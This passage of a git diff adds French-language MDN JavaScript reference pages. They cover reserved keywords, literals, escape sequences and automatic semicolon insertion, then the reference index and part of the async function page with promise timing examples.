+ <li>{{jsxref("Classes/extends","extends")}}</li>
+ <li>{{jsxref("Instructions/try...catch", "finally")}}</li>
+ <li>{{jsxref("Instructions/for", "for")}}</li>
+ <li>{{jsxref("Instructions/function", "function")}}</li>
+ <li>{{jsxref("Instructions/if...else", "if")}}</li>
+ <li>{{jsxref("Instructions/import", "import")}}</li>
+ <li>{{jsxref("Instructions/for...in", "in")}}</li>
+ <li>{{jsxref("Opérateurs/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_new", "new")}}</li>
+ <li>{{jsxref("Instructions/return", "return")}}</li>
+ <li>{{jsxref("Opérateurs/super", "super")}}</li>
+ <li>{{jsxref("Instructions/switch", "switch")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_this", "this")}}</li>
+ <li>{{jsxref("Instructions/throw", "throw")}}</li>
+ <li>{{jsxref("Instructions/try...catch", "try")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}}</li>
+ <li>{{jsxref("Instructions/var", "var")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_void", "void")}}</li>
+ <li>{{jsxref("Instructions/while", "while")}}</li>
+ <li>{{jsxref("Instructions/with", "with")}}</li>
+ <li>{{jsxref("Opérateurs/yield","yield")}}</li>
+</ul>
+</div>
+
+<h3 id="Mots-clés_réservés_pour_le_futur">Mots-clés réservés pour le futur</h3>
+
+<p>Les mots-clés qui suivent ont été réservés pour une utilisation future dans la spécification ECMAScript. Ils n'ont actuellement aucune utilité mais pourrait être utilisés par la suite. Ils ne peuvent donc pas être utilisés comme identifiants. Ces mots-clés ne peuvent être utilisés ni en mode strict ni en mode non strict.</p>
+
+<ul>
+ <li><code>enum</code></li>
+ <li><code>await</code> (lorsqu'il est utilisé dans le contexte d'un module)</li>
+</ul>
+
+<p>Les mots-clés suivants sont réservés dans du code en mode strict :</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code>implements</code></li>
+ <li>{{jsxref("Instructions/let", "let")}}</li>
+ <li><code>package</code></li>
+ <li><code>protected</code></li>
+ <li><code>static</code></li>
+ <li><code>interface</code></li>
+ <li><code>private</code></li>
+ <li><code>public</code></li>
+</ul>
+</div>
+
+<h4 id="Mots-clés_réservés_pour_un_usage_future_dans_les_anciens_standards">Mots-clés réservés pour un usage future dans les anciens standards</h4>
+
+<p>Les mots-clés suivants sont réservés dans les anciennes spécifications ECMAScript (ECMAScript 1 à 3).</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code>abstract</code></li>
+ <li><code>boolean</code></li>
+ <li><code>byte</code></li>
+ <li><code>char</code></li>
+ <li><code>double</code></li>
+ <li><code>final</code></li>
+ <li><code>float</code></li>
+ <li><code>goto</code></li>
+ <li><code>int</code></li>
+ <li><code>long</code></li>
+ <li><code>native</code></li>
+ <li><code>short</code></li>
+ <li><code>synchronized</code></li>
+ <li><code>throws</code></li>
+ <li><code>transient</code></li>
+ <li><code>volatile</code></li>
+</ul>
+</div>
+
+<p>Par ailleurs, les littéraux <code>null</code>, <code>true</code>, et<code> false</code> sont réservés dans ECMAScript pour leur usage normal.</p>
+
+<h3 id="Utilisation_des_mots-clés_réservés">Utilisation des mots-clés réservés</h3>
+
+<p>Les mots-clés réservés ne le sont que pour les identifiants (et non pour les <code>IdentifierNames</code>) . Comme décrit dans <a href="http://es5.github.com/#A.1">es5.github.com/#A.1</a>, dans l'exemple qui suit, on a, légalement, des <code>IdentifierNames</code> qui utilisent des <code>ReservedWords</code>.</p>
+
+<pre class="brush: js">a.import
+a["import"]
+a = { import: "test" }.
+</pre>
+
+<p>En revanche, dans ce qui suit, c'est illégal car c'est un identifiant. Un identifiant peut être un <code>IdentifierName</code> mais pas un mot-clé réservé. Les identifiants sont utilisés pour les <code>FunctionDeclaration</code> (déclarations de fonction), les <code>FunctionExpression</code> (expressions de fonction), les <code>VariableDeclaration</code> (déclarations de variable)<code>.</code></p>
+
+<pre class="brush: js">function import() {} // Illégal.</pre>
+
+<h2 id="Littéraux">Littéraux</h2>
+
+<h3 id="Littéral_null">Littéral <code>null</code></h3>
+
+<p>Voir aussi la page {{jsxref("null")}} pour plus d'informations.</p>
+
+<pre class="brush: js">null</pre>
+
+<h3 id="Littéraux_booléens">Littéraux booléens</h3>
+
+<p>Voir aussi la page {{jsxref("Boolean")}} pour plus d'informations.</p>
+
+<pre class="brush: js">true
+false</pre>
+
+<h3 id="Littéraux_numériques">Littéraux numériques</h3>
+
+<h4 id="Décimaux">Décimaux</h4>
+
+<pre class="brush: js">1234567890
+42
+
+// Attention à l'utilisation de zéros en début :
+
+0888 // 888 est compris comme décimal
+0777 // est compris comme octal et égale 511 en décimal
+</pre>
+
+<p>Les littéraux décimaux peuvent commencer par un zéro (<code>0</code>) suivi d'un autre chiffre. Mais si tous les chiffres après le 0 sont (strictement) inférieurs à 8, le nombre sera analysé comme un nombre octal. Cela n'entraînera pas d'erreur JavaScript, voir {{bug(957513)}}. Voir aussi la page sur {{jsxref("parseInt", "parseInt()")}}.</p>
+
+<h4 id="Binaires">Binaires</h4>
+
+<p>La représentation binaire des nombres peut être utilisée avec une syntaxe qui comporte un zéro (0) suivi par le caractère latin "B" (minuscule ou majuscule) (<code>0b</code> ou <code>0B</code>). Cette syntaxe est apparue avec ECMAScript 2015 et il faut donc faire attention au tableau de compatibilité pour cette fonctionnalité. Si les chiffres qui composent le nombre ne sont pas 0 ou 1, cela entraînera une erreur {{jsxref("SyntaxError")}} : "Missing binary digits after 0b".</p>
+
+<pre class="brush: js">var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h4 id="Octaux">Octaux</h4>
+
+<p>La syntaxe pour représenter des nombres sous forme octale est : un zéro (0), suivi par la lettre latine "O" (minuscule ou majuscule) (ce qui donne <code>0o</code> ou <code>0O)</code>. Cette syntaxe est apparue avec ECMAScript 2015 et il faut donc faire attention au tableau de compatibilité pour cette fonctionnalité. Si les chiffres qui composent le nombre ne sont pas compris entre 0 et 7, cela entraînera une erreur {{jsxref("SyntaxError")}} : "Missing octal digits after 0o".</p>
+
+<pre class="brush: js">var n = 0O755; // 493
+var m = 0o644; // 420
+
+// Aussi possible en utilisant des zéros en début du nombre (voir la note ci-avant)
+0755
+0644
+</pre>
+
+<h4 id="Hexadécimaux">Hexadécimaux</h4>
+
+<p>Les littéraux hexadécimaux ont pour syntaxe : un zéro (0), suivi par la lettre latine "X" (minuscule ou majuscule) (ce qui donne <code>0x</code> ou <code>0X)</code>. Si les chiffres qui composent le nombre sont en dehors des unités hexadécimales (0123456789ABCDEF), cela entraînera une erreur {{jsxref("SyntaxError")}} : "Identifier starts immediately after numeric literal".</p>
+
+<pre class="brush: js">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h4 id="Littéraux_BigInt">Littéraux <code>BigInt</code></h4>
+
+<p>Le type {{jsxref("BigInt")}} est un type numérique primitif de JavaScript qui permet de représenter des entiers avec une précision arbitraire. De tels littéraux s'écrivent en ajoutant un <code>n</code> à la fin d'un entier.</p>
+
+<pre class="brush: js">123456789123456789n (nombre décimal, en base 10)
+0o7777777777777777n (nombre octal, en base 8)
+0x123456789ABCDEF1n (nombre hexadécimal, en base 16)
+0b0101010101110101n (nombre binaire, en base 2)
+</pre>
+
+<p>Voir aussi <a href="/fr/docs/Web/JavaScript/Structures_de_données#Le_type_BigInt">le paragraphe sur les grands entiers/BigInt sur les structures de données en JavaScript</a>.</p>
+
+<h3 id="Littéraux_objets">Littéraux objets</h3>
+
+<p>Voir aussi les pages {{jsxref("Object")}} et {{jsxref("Opérateurs/Initialisateur_objet","Initialisateur d'objet","",1)}} pour plus d'informations.</p>
+
+<pre class="brush: js">var o = { a: "toto", b: "truc", c: 42 };
+
+// notation raccourcie depuis ES6
+var a = "toto", b = "truc", c = 42;
+var o = {a, b, c};
+// plutôt que
+var o = { a: a, b: b, c: c };
+</pre>
+
+<h3 id="Littéraux_de_tableaux">Littéraux de tableaux</h3>
+
+<p>Voir aussi la page {{jsxref("Array")}} pour plus d'informations.</p>
+
+<pre class="brush: js">[1954, 1974, 1990, 2014]</pre>
+
+<h3 id="Littéraux_de_chaînes_de_caractères">Littéraux de chaînes de caractères</h3>
+
+<p>Un littéral de chaîne de caractères correspond à zéro ou plusieurs codets Unicode entourés de simples ou de doubles quotes. Les codets Unicode peuvent également être représentés avec des séquences d'échappements. Tous les codets peuvent apparaître dans un littéral de chaîne de caractères à l'exception de ces trois codets :</p>
+
+<ul>
+ <li>U+005C \ (barre oblique inverse)</li>
+ <li>U+000D (retour chariot, <em>carriage return</em>, <em>CR</em>)</li>
+ <li>U+000A (saut de ligne, <em>line feed</em>, <em>LF</em>)</li>
+</ul>
+
+<p>Avant la proposition consistant à rendre les chaînes JSON valides selon ECMA-262, les caractères U+2028 et U+2029 étaient également interdits.</p>
+
+<p>Tous les codets peuvent être écrits sous la forme d'une séquence d'échappement. Les littéraux de chaînes de caractères sont évalués comme des valeurs <code>String</code> ECMAScript. Lorsque ces valeurs <code>String</code> sont générées, les codets Unicode sont encodés en UTF-16.</p>
+
+<pre class="brush: js">'toto'
+"truc"</pre>
+
+<h4 id="Séquence_d'échappement_hexadécimale">Séquence d'échappement hexadécimale</h4>
+
+<p>Une séquence d'échappement hexadécimale consiste en la succession de <code>\x</code> et de deux chiffres hexadécimaux représentant un codet sur l'intervalle 0x0000 à 0x00FF.</p>
+
+<pre class="brush: js">'\xA9' // "©"
+</pre>
+
+<h4 id="Séquence_d'échappement_Unicode">Séquence d'échappement Unicode</h4>
+
+<p>La séquence d'échappement Unicode est composée de <code>\u</code> suivi de quatre chiffres hexadécimaux. Chacun de ces chiffres définit un caractères sur deux octets selon l'encodage UTF-16. Pour les codes situés entre <code>U+0000</code> et <code>U+FFFF</code>, les chiffres à utiliser sont identiques au code. Pour les codes supérieurs, il faudra utiliser deux séquences d'échappement dont chacune représentera un demi-codet de la paire de <em>surrogates</em>.</p>
+
+<p>Voir aussi {{jsxref("String.fromCharCode()")}} et {{jsxref("String.prototype.charCodeAt()")}}.</p>
+
+<pre class="brush: js">'\u00A9' // "©" (U+A9)</pre>
+
+<h4 id="Échappement_de_points_de_code_Unicode">Échappement de points de code Unicode</h4>
+
+<p>Apparu avec ECMAScript 2015, l'échappement de points de code Unicode permet d'échapper n'importe quel caractère en utilisant une notation hexadécimale. Il est possible de le faire pour échapper les points de code Unicode dont la représentation va jusqu'à <code>0x10FFFF</code>. Avec la séquence « simple » d'échappement Unicode, il était nécessaire d'échapper respectivement les deux demi-codets d'une paire si on voulait échapper le caractère correspondant, avec cette nouvelle méthode, ce n'est plus nécessaire de faire la distinction.</p>
+
+<p>Voir également {{jsxref("String.fromCodePoint()")}} et {{jsxref("String.prototype.codePointAt()")}}.</p>
+
+<pre class="brush: js">'\u{2F804}' // CJK COMPATIBILITY IDEOGRAPH-2F804 (U+2F804)
+
+// avec l'ancienne méthode d'échappement, cela aurait été écrit
+// avec une paire de surrogates
+'\uD87E\uDC04'</pre>
+
+<h3 id="Littéraux_d'expressions_rationnelles">Littéraux d'expressions rationnelles</h3>
+
+<p>Voir la page <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp"><code>RegExp</code></a> pour plus d'informations.</p>
+
+<pre class="brush: js">/ab+c/g
+
+// Un littéral pour une expression rationnelle
+// vide. Le groupe non-capturant est utilisé pour
+// lever l'ambigüité avec les commentaires
+/(?:)/</pre>
+
+<h3 id="Littéraux_modèles_(gabarits_ou_templates)">Littéraux modèles (gabarits ou <em>templates</em>)</h3>
+
+<p>Voir également la page sur <a href="/fr/docs/Web/JavaScript/Reference/Gabarit_chaînes_caractères">les gabarits de chaînes de caractères</a> pour plus d'informations.</p>
+
+<pre class="brush: js">`chaîne de caractères`
+
+`chaîne de caractères ligne 1
+ chaîne de caractères ligne 2`
+
+`chaîne1 ${expression} chaîne2`
+
+tag `chaîne1 ${expression} chaîne2`</pre>
+
+<h2 id="Insertion_automatique_de_points-virgules">Insertion automatique de points-virgules</h2>
+
+<p>Certaines <a href="/fr/docs/Web/JavaScript/Reference/Statements">instructions JavaScript</a> doivent finir par un point-virgule et sont donc concernées par l'insertion automatique de points-virgules (ASI pour <em>automatic semicolon insertion</em> en anglais) :</p>
+
+<ul>
+ <li>Instruction vide</li>
+ <li>instruction de variable, <code>let</code>, <code>const</code></li>
+ <li><code>import</code>, <code>export</code>, déclaration de module</li>
+ <li>Instruction d'expression</li>
+ <li><code>debugger</code></li>
+ <li><code>continue</code>, <code>break</code>, <code>throw</code></li>
+ <li><code>return</code></li>
+</ul>
+
+<p>La spécification ECMAScript mentionne <a href="https://tc39.github.io/ecma262/#sec-rules-of-automatic-semicolon-insertion">trois règles quant à l'insertion de points-virgules</a> :</p>
+
+<p>1. Un point-vrigule est inséré avant un <a href="#Line_terminators">terminateur de ligne</a> ou une accolade ("}") quand celui ou celle-ci n'est pas autorisé par la grammaire</p>
+
+<pre class="brush: js">{ 1 2 } 3
+// est donc transformé, après ASI, en :
+{ 1 2 ;} 3;</pre>
+
+<p>2. Un point-virgule est inséré à la fin lorsqu'on détecte la fin d'une série de jetons en flux d'entrée et que le parseur est incapable d'analyser le flux d'entrée comme un programme complet.</p>
+
+<p>Ici <code>++</code> n'est pas traité comme <a href="/fr/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">opérateur postfixe</a> s'appliquant à la variable <code>b</code> car il y a un terminateur de ligne entre <code>b</code> et <code>++</code>.</p>
+
+<pre class="brush: js">a = b
+++c
+
+// devient, après ASI :
+
+a = b;
+++c;
+</pre>
+
+<p>3. Un point-virgule est inséré à la fin, lorsqu'une instruction, à production limitée pour la grammaire, est suivie par un terminateur de ligne. Les instructions concernées par cette règle sont :</p>
+
+<ul>
+ <li>Expressions postfixes (<code>++</code> et <code>--</code>)</li>
+ <li><code>continue</code></li>
+ <li><code>break</code></li>
+ <li><code>return</code></li>
+ <li><code>yield</code>, <code>yield*</code></li>
+ <li><code>module</code></li>
+</ul>
+
+<pre class="brush: js">return
+a + b
+
+// est transformé, après ASI, en :
+
+return;
+a + b;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("ES1")}}</td>
+   <td>{{Spec2("ES1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-7', 'Lexical Conventions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Ajout : littéraux binaires et octaux, échappements de points de code Unicode, modèles</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.grammar")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://whereswalden.com/2013/08/12/micro-feature-from-es6-now-in-firefox-aurora-and-nightly-binary-and-octal-numbers/">Jeff Walden : Nombres binaires et forme octale (en anglais)</a></li>
+ <li><a href="http://mathiasbynens.be/notes/javascript-escapes">Mathias Bynens : Séquences d'échappements de caractères (en anglais)</a></li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("String")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/index.html b/files/fr/web/javascript/reference/index.html
new file mode 100644
index 0000000000..96f86980b6
--- /dev/null
+++ b/files/fr/web/javascript/reference/index.html
@@ -0,0 +1,50 @@
+---
+title: Référence JavaScript
+slug: Web/JavaScript/Reference
+tags:
+  - ECMAScript
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference
+---
+<div>{{JsSidebar}}</div>
+
+<p>Cette partie de la section JavaScript de MDN regroupe plusieurs notions sur le langage JavaScript. En savoir plus <a href="/fr/docs/Web/JavaScript/Reference/A_propos">à propos de cette référence</a>.</p>
+
+<h2 id="Les_objets_globaux">Les objets globaux</h2>
+
+<p>Ce chapitre documente l'ensemble des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux">objets natifs standards JavaScript </a>ainsi que leurs méthodes et leurs propriétés.</p>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux', 'Objets_globaux_standards_(par_catégorie)')}}</div>
+
+<h2 id="Les_instructions">Les instructions</h2>
+
+<p>Ce chapitre documente les différentes <a href="/fr/docs/Web/JavaScript/Reference/Instructions">instructions et déclarations JavaScript</a>.</p>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Instructions', 'Instructions_et_déclarations_par_catégorie')}}</div>
+
+<h2 id="Les_expressions_et_opérateurs">Les expressions et opérateurs</h2>
+
+<p>Ce chapitre documente l'ensemble des <a href="/fr/docs/JavaScript/Reference/Op%C3%A9rateurs">expressions et opérateurs JavaScript</a>.</p>
+
+<div>{{page('/fr/docs/JavaScript/Reference/Opérateurs', 'Expressions_et_opérateurs_par_catégorie')}}</div>
+
+<h2 id="Les_fonctions">Les fonctions</h2>
+
+<p>Ce chapitre aborde les manières de travailler avec <a href="/fr/docs/Web/JavaScript/Reference/Fonctions">les fonctions JavaScript</a> pour développer vos applications.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments"><code>arguments</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">Les fonctions fléchées</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments">Les paramètres par défaut</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/param%C3%A8tres_du_reste">Les paramètres du reste</a></li>
+</ul>
+
+<h2 id="Autres_pages_de_référence">Autres pages de référence</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">Grammaire lexicale de JavaScript</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Structures_de_donn%C3%A9es">Les types de données et les structures de données</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">Le mode strict</a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Annexes/Fonctionnalités_dépréciées">Les fonctionnalités obsolètes</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/async_function/index.html b/files/fr/web/javascript/reference/instructions/async_function/index.html
new file mode 100644
index 0000000000..45c7f441b8
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/async_function/index.html
@@ -0,0 +1,271 @@
+---
+title: async function
+slug: Web/JavaScript/Reference/Instructions/async_function
+tags:
+  - Experimental
+  - Function
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/async_function
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La déclaration <code><strong>async function</strong></code> définit une fonction asynchrone qui renvoie un objet {{jsxref("Objets_globaux/AsyncFunction","AsyncFunction")}}. Une fonction asynchrone est une fonction qui s'exécute de façon asynchrone grâce à la boucle d'évènement en utilisant une promesse ({{jsxref("Promise")}}) comme valeur de retour.</p>
+
+<div class="noinclude">
+<p>On peut également définir des fonctions asynchrones grâce au constructeur {{jsxref("AsyncFunction")}} et via une {{jsxref("Opérateurs/async_function", "expression de fonction asynchrone","",1)}}.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>instructions</em>
+}
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Le nom de la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Le nom d'un argument à passer à la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions qui composent le corps de la fonction.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}) qui sera résolue avec la valeur renvoyée par la fonction asynchrone ou qui sera rompue s'il y a une exception non interceptée émise depuis la fonction asynchrone.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Une fonction <code>async</code> peut contenir une expression {{jsxref("Opérateurs/await", "await")}} qui interrompt l'exécution de la fonction asynchrone et attend la résolution de la promesse passée <code>Promise</code>. La fonction asynchrone reprend ensuite puis renvoie la valeur de résolution.<br>
+ <br>
+ Le mot-clé <code>await</code> est uniquement valide au sein des fonctions asynchrones. Si ce mot-clé est utilisé en dehors du corps d'une fonction asynchrone, cela provoquera une exception {{jsxref("SyntaxError")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Lorsqu'une fonction aysnchrone est mise en pause, la fonction appelante continue son exécution (car elle a reçu la promesse implicite renvoyée par la fonction <code>async</code>).</p>
+</div>
+
+<div class="note">
+<p><strong>Note </strong><strong>:</strong> Le but des fonctions <code>async</code>/<code>await</code> est de simplifier l'utilisation synchrone des promesses et d'opérer sur des groupes de promesses. De la même façon que les promesses sont semblables à des <em>callbacks</em> structurés, <code>async</code>/<code>await</code> est semblable à la combinaison des générateurs et des promesses.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: js">var resolveAfter2Seconds = function() {
+  console.log("Initialisation de la promesse lente");
+  return new Promise(resolve =&gt; {
+    setTimeout(function() {
+      resolve("lente");
+      console.log("La promesse lente est terminée");
+    }, 2000);
+  });
+};
+
+var resolveAfter1Second = function() {
+  console.log("Initialisation de la promesse rapide");
+  return new Promise(resolve =&gt; {
+    setTimeout(function() {
+      resolve("rapide");
+      console.log("La promesse rapide est terminée");
+    }, 1000);
+  });
+};
+
+var sequentialStart = async function() {
+  console.log('==Début séquentiel==');
+
+  // 1. L'exécution atteint ce point quasi-instantanément
+  const lente = await resolveAfter2Seconds();
+  console.log(lente); // 2. cela s'exécute 2s après 1.
+
+  const rapide = await resolveAfter1Second();
+  console.log(rapide); // 3. cela s'exécute 3s après 1.
+}
+
+var concurrentStart = async function() {
+  console.log('==Début concurrentiel avec await==');
+  const lente = resolveAfter2Seconds(); // le minuteur démarre immédiatement
+  const rapide = resolveAfter1Second();  // le minuteur démarre immédiatement
+
+  // 1. L'exécution atteint ce point quasi-instantanément
+  console.log(await lente); // 2. s'exécute 2s après 1.
+  console.log(await rapide); // 3. s'exécute 2s après 1., immédiatement après 2.,
+                             // car "rapide" est déjà résolue
+}
+
+var concurrentPromise = function() {
+  console.log('==Début concurrentiel avec Promise.all==');
+  return Promise.all([resolveAfter2Seconds(), resolveAfter1Second()]).then((messages) =&gt; {
+    console.log(messages[0]); // lente
+    console.log(messages[1]); // rapide
+  });
+}
+
+var parallel = async function() {
+  console.log('==Exécution parallèle avec await Promise.all==');
+
+  // Démarre 2 tâches en parallèle et on attend que les deux soient finies
+  await Promise.all([
+      (async()=&gt;console.log(await resolveAfter2Seconds()))(),
+      (async()=&gt;console.log(await resolveAfter1Second()))()
+  ]);
+}
+
+// Cette fonction ne gère pas les erreurs
+// voir les avertissement ci-après !
+var parallelPromise = function() {
+  console.log('==Exécution parallèle avec Promise.then==');
+  resolveAfter2Seconds().then((message)=&gt;console.log(message));
+  resolveAfter1Second().then((message)=&gt;console.log(message));
+}
+
+sequentialStart(); // après 2 secondes, "lente" est affichée, après une
+                   // autre seconde, c'est "rapide" qui est affichée
+
+// on attend que l'étape précédente soit terminée
+setTimeout(concurrentStart, 4000); // 2s avant d'afficher "lente" puis "rapide"
+
+// on attend à nouveau
+setTimeout(concurrentPromise, 7000); // identique à concurrentStart
+
+// on attend à nouveau
+setTimeout(parallel, 10000); // réellement parallele : après 1 seconde,
+                             // affiche "rapide" et après une autre seconde
+                             // affiche "lente"
+
+// on attend à nouveau
+setTimeout(parallelPromise, 13000); // identique à parallel
+</pre>
+
+<div class="note">
+<h4 id="await_et_lexécution_parallèle"><code>await</code> et l'exécution parallèle</h4>
+
+<p>Dans <code>sequentialStart</code>, l'exécution est arrêtée pendant deux secondes avant le premier <code>await</code> puis encore une autre seconde avant le deuxième <code>await</code>. Le deuxième minuteur n'est pas créé tant que le premier n'est pas écoulé. Le code s'exécute donc au moins en 3 secondes.</p>
+
+<p>Avec <code>concurrentStart</code>, les deux minuteurs sont créés puis attendus derrière un <code>await</code> Les minuteurs sont exécutés de façon concurrente. L'ensemble du code se termine donc en au moins 2 secondes plutôt qu'en 3 secondes.<br>
+ Toutefois, les appels utilisant  <code>await</code> sont exécutés séquentiellement et la deuxième instruction avec <code>await</code> attendra que la première ait été  traitée. Le minuteur le plus rapide est donc créé juste après le premier.</p>
+
+<p>Si on souhaite avoir deux tâches qui s'exécutent réellement en parallèle, on pourra utiliser  <code>await Promise.all([job1(), job2()])</code> comme illustré ci-avant avec <code>parallel</code>.</p>
+</div>
+
+<div class="warning">
+<h4 id="asyncawait_Promise.prototype.then_et_la_gestion_des_erreurs"><code>async</code>/<code>await</code>, <code>Promise.prototype.then()</code> et la gestion des erreurs</h4>
+
+<p>La plupart des fonctions asynchrones peuvent être écrites avec des promesses. Toutefois, les fonctions asynchrones qui utilisent <code>async</code> se prêtent mieux à la gestion des erreurs.</p>
+
+<p><code>concurrentStart</code> et <code>concurrentPromise</code> sont fonctionnellement équivalentes.<br>
+ Avec <code>concurrentStart</code>, si l'un des deux appels échoue, l'exception sera immédiatement interceptée et l'exécution de la fonction asynchrone sera interrompue. L'erreur sera propagée à la fonction appelante via la valeur de retour qui est une promesse implicite.<br>
+ Pour obtenir les mêmes sécurités avec les promesses, il faut s'assurer que la fonction renvoie une promesse qui gère ce cas d'échec. Pour <code>concurrentPromise</code> cela signifie qu'il faut renvoyer la promesse de <code>Promise.all([]).then()</code>.</p>
+
+<p>Bien entendu, il est toutefois possible d'avoir des fonctions asynchrones (avec <code>async</code>) qui gobent des erreurs involontairement. Si on considère la fonction <code>parallel</code> ci-avant, s'il n'y avait eu aucun <code>await</code> ou <code>return</code> pour le résultat de <code>Promise.all([])</code>, aucune erreur n'aurait été propagée.<br>
+ Bien que l'exemple <code>parallelPromise</code> paraisse simple, il ne gère aucune erreur du tout. Il aurait fallu utiliser un <code>return </code><code>Promise.all([])</code> analogue.</p>
+</div>
+
+<h3 id="Réécrire_une_chaîne_de_promesses_avec_une_fonction_asynchrone">Réécrire une chaîne de promesses avec une fonction asynchrone</h3>
+
+<p>Lorsqu'on utilise une API qui renvoie des promesses ({{jsxref("Promise")}}), on construit une chaîne de promesses et on divise la fonction en de nombreuses branches :</p>
+
+<pre class="brush: js">function getProcessedData(url) {
+  return downloadData(url) // renvoie une promesse
+    .catch(e =&gt; {
+      return downloadFallbackData(url);  // renvoie une promesse
+    })
+    .then(v =&gt; {
+      return processDataInWorker(v); // renvoie une promesse
+    });
+}
+</pre>
+
+<p>Cela peut être réécrit avec une seule fonction asynchrone, de la façon suivante :</p>
+
+<pre class="brush: js">async function getProcessedData(url) {
+  let v;
+  try {
+    v = await downloadData(url);
+  } catch(e) {
+    v = await downloadFallbackData(url);
+  }
+  return processDataInWorker(v);
+}
+</pre>
+
+<p>On voit dans l'exemple précédent qu'il n'y a pas de <code>await</code> pour l'instruction <code>return</code> car la valeur de retour d'une fonction asynchrone est implicitement enveloppée dans un appel à {{jsxref("Promise.resolve")}}.</p>
+
+<h3 id="Différences_entre_return_et_return_await">Différences entre <code>return</code> et <code>return await</code></h3>
+
+<p>La conversion automatique des valeurs en promesses avec {{jsxref("Promise.resolve")}} ne signifie pas que <code>return await valeurPromesse</code> sera équivalent à <code>return valeurPromesse</code>.</p>
+
+<p>Si on reprend l'exemple précédent et qu'on le réécrit avec <code>return await</code> et qu'on intercepte une éventuelle erreur de la promesse :</p>
+
+<pre class="brush: js">async function getProcessedData(url) {
+  let v;
+  try {
+     v = await downloadData(url);
+  } catch(e) {
+    v = await downloadFallbackData(url);
+  }
+  try {
+    return await processDataInWorker(v); // et non plus simplement return
+  } catch(e) {
+    return null;
+  }
+}</pre>
+
+<p>Si on avait simplement écrit <code>return processDataInWorker(v);</code>, la promesse renvoyée par la fonction aurait déclenché une exception plutôt que d'être résolue avec la valeur <code>null</code>.</p>
+
